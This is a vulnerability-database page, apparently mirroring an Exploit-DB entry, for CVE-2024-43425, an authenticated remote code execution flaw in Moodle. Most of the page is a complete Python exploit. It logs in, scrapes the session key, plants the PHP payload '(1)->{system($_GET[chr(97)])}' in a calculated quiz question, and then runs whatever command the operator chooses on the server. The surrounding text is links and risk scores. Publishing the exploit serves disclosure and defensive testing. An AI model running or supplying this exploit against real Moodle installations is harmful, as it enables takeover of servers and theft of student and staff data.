Lucene search
K

Moodle 4.4.0 - Authenticated Remote Code Execution

🗓️ 02 Jul 2025 00:00:00Reported by Likhith AppalaneniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 226 Views

Moodle 4.4.0 has a remote code execution vulnerability affecting versions 4.4 to 4.4.1 and earlier.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Moodle
13 Oct 202502:32
githubexploit
GithubExploit
Exploit for Code Injection in Moodle
13 Jul 202504:52
githubexploit
GithubExploit
Exploit for Code Injection in Moodle
7 Feb 202519:48
githubexploit
GithubExploit
Exploit for Code Injection in Moodle
28 Jun 202508:49
githubexploit
Circl
CVE-2024-43425
28 Aug 202409:02
circl
CNNVD
Moodle 安全漏洞
7 Nov 202400:00
cnnvd
CVE
CVE-2024-43425
7 Nov 202413:21
cve
Cvelist
CVE-2024-43425 Moodle: remote code execution via calculated question types
7 Nov 202413:21
cvelist
Github Security Blog
Moodle Remote Code Execution vulnerability
7 Nov 202415:31
github
Metasploit
Moodle Remote Code Execution (CVE-2024-43425)
6 Dec 202418:58
metasploit
Rows per page
# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://moodle.org
# Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0
# Tested Version: Moodle 4.4.0
# Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
# Tested On: Ubuntu 22.04, Apache2, PHP 8.2
# CVE: CVE-2024-43425
# References:
# - https://github.com/aninfosec/CVE-2024-43425-Poc
# - https://nvd.nist.gov/vuln/detail/CVE-2024-43425

import argparse
import requests
import re
import sys
import subprocess
from bs4 import BeautifulSoup
import urllib.parse

requests.packages.urllib3.disable_warnings()

def get_login_token(session, login_url):
    print("[*] Step 1: GET /login/index.php to extract login token")
    try:
        response = session.get(login_url, verify=False)
        if response.status_code != 200:
            print(f"[-] Unexpected status code {response.status_code} when accessing login page")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Error connecting to {login_url}: {e}")
        sys.exit(1)

    soup = BeautifulSoup(response.text, "html.parser")
    token_input = soup.find("input", {"name": "logintoken"})
    if not token_input or not token_input.get("value"):
        print("[-] Failed to extract login token from HTML")
        sys.exit(1)

    token = token_input["value"]
    print(f"[+] Found login token: {token}")
    return token

def perform_login(session, login_url, username, password, token):
    print("[*] Step 2: POST /login/index.php with credentials")
    login_payload = {
        "anchor": "",
        "logintoken": token,
        "username": username,
        "password": password,
    }
    try:
        response = session.post(
            login_url,
            data=login_payload,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            verify=False,
        )
        if response.status_code not in [200, 303]:
            print(f"[-] Unexpected response code during login: {response.status_code}")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Login POST failed: {e}")
        sys.exit(1)

    if "MoodleSession" not in session.cookies.get_dict():
        print("[-] Login may have failed: MoodleSession cookie missing")
        sys.exit(1)

    print("[+] Logged in successfully.")

def get_quiz_info(session, base_url, cmid):
    print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...")
    quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}"
    try:
        resp = session.get(quiz_edit_url, verify=False)
        if resp.status_code != 200:
            print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}")
            sys.exit(1)
        # Extract sesskey
        sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text)
        # Extract courseContextId
        ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text)
        # Extract category
        category_match = re.search(r';category=(\d+)', resp.text)
        if not (sesskey_match and ctxid_match and category_match):
            print("[-] Could not extract sesskey, courseContextId, or category")
            print(resp.text[:1000])
            sys.exit(1)
        sesskey = sesskey_match.group(1)
        ctxid = ctxid_match.group(1)
        category = category_match.group(1)
        print(f"[+] Found sesskey: {sesskey}")
        print(f"[+] Found courseContextId: {ctxid}")
        print(f"[+] Found category: {category}")
        return sesskey, ctxid, category
    except Exception as e:
        print(f"[-] Exception while extracting quiz info: {e}")
        sys.exit(1)

def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):
    print("[*] Step 3: Uploading calculated question with payload...")
    url = f"{base_url}/question/bank/editquestion/question.php"
    payload = "(1)->{system($_GET[chr(97)])}"
    post_data = {
        "initialcategory": 1,
        "reload": 1,
        "shuffleanswers": 1,
        "answernumbering": "abc",
        "mform_isexpanded_id_answerhdr": 1,
        "noanswers": 1,
        "nounits": 1,
        "numhints": 2,
        "synchronize": "",
        "wizard": "datasetdefinitions",
        "id": "",
        "inpopup": 0,
        "cmid": cmid,
        "courseid": courseid,
        "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
        "mdlscrollto": 0,
        "appendqnumstring": "addquestion",
        "qtype": "calculated",
        "makecopy": 0,
        "sesskey": sesskey,
        "_qf__qtype_calculated_edit_form": 1,
        "mform_isexpanded_id_generalheader": 1,
        "category": f"{category},{ctxid}",
        "name": "exploit",
        "questiontext[text]": "<p>test</p>",
        "questiontext[format]": 1,
        "questiontext[itemid]": 623548580,
        "status": "ready",
        "defaultmark": 1,
        "generalfeedback[text]": "",
        "generalfeedback[format]": 1,
        "generalfeedback[itemid]": 21978947,
        "answer[0]": payload,
        "fraction[0]": 1.0,
        "tolerance[0]": 0.01,
        "tolerancetype[0]": 1,
        "correctanswerlength[0]": 2,
        "correctanswerformat[0]": 1,
        "feedback[0][text]": "",
        "feedback[0][format]": 1,
        "feedback[0][itemid]": 281384971,
        "unitrole": 3,
        "penalty": 0.3333333,
        "hint[0][text]": "",
        "hint[0][format]": 1,
        "hint[0][itemid]": 812786292,
        "hint[1][text]": "",
        "hint[1][format]": 1,
        "hint[1][itemid]": 795720000,
        "tags": "_qf__force_multiselect_submission",
        "submitbutton": "Save changes"
    }
    try:
        res = session.post(url, data=post_data, verify=False, allow_redirects=False)
        if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]:
            print("[+] Question upload request sent. Extracting question ID from redirect.")
            qid = re.search(r"&id=(\d+)", res.headers["Location"])
            if not qid:
                print("[-] Could not extract question ID from redirect.")
                sys.exit(1)
            return qid.group(1)
        else:
            print(f"[-] Upload failed. Status code: {res.status_code}")
            sys.exit(1)
    except Exception as e:
        print(f"[-] Upload exception: {e}")
        sys.exit(1)

def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid):
    print("[*] Step 4: Completing dataset wizard with dataset[0]=0")
    wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions"
    data_payload = {
        "id": question_id,
        "inpopup": 0,
        "cmid": cmid,
        "courseid": courseid,
        "returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
        "mdlscrollto": 0,
        "appendqnumstring": "addquestion",
        "category": f"{category},{ctxid}",
        "wizard": "datasetitems",
        "sesskey": sesskey,
        "_qf__question_dataset_dependent_definitions_form": 1,
        "dataset[0]": 0,
        "synchronize": 0,
        "submitbutton": "Next page"
    }
    try:
        res = session.post(wizard_url, data=data_payload, verify=False)
        if res.status_code == 200:
            print("[+] Dataset wizard POST submitted.")
            return False
        elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text:
            print("[+] Reached expected error page. Payload is being interpreted.")
            return True
        else:
            print(f"[-] Dataset wizard POST failed with status: {res.status_code}")
            return False
    except Exception as e:
        print(f"[-] Exception during dataset wizard step: {e}")
        return False

def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd):
    print("[*] Step 5: Triggering command: {cmd}")
    encoded = urllib.parse.quote(cmd)
    trigger_url = (
        f"{base_url}/question/bank/editquestion/question.php?id={question_id}"
        f"&category={category}&cmid={cmid}&courseid={courseid}"
        f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0"
        f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}"
    )
    try:
        resp = session.get(trigger_url, verify=False)
        print("[+] Trigger request sent. Output below:\n")
        lines = resp.text.splitlines()
        output_lines = []
        for line in lines:
            if "<html" in line.lower():
                break
            if line.strip():
                output_lines.append(line.strip())

        print("[+] Command output (top lines):")
        print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.")
    except Exception as e:
        print(f"[-] Error triggering command: {e}")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit")
    parser.add_argument("--url", required=True, help="Target Moodle base URL")
    parser.add_argument("--username", required=True, help="Moodle username")
    parser.add_argument("--password", required=True, help="Moodle password")
    parser.add_argument("--courseid", required=True, help="Course ID")
    parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)")
    parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')")

    args = parser.parse_args()

    session = requests.Session()

    login_url = f"{args.url.rstrip('/')}/login/index.php"
    token = get_login_token(session, login_url)

    perform_login(session, login_url, args.username, args.password, token)

    sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid)

    question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid)

    if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid):
        sys.exit(1)

    trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2025 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.18.1
EPSS0.88917
SSVC
226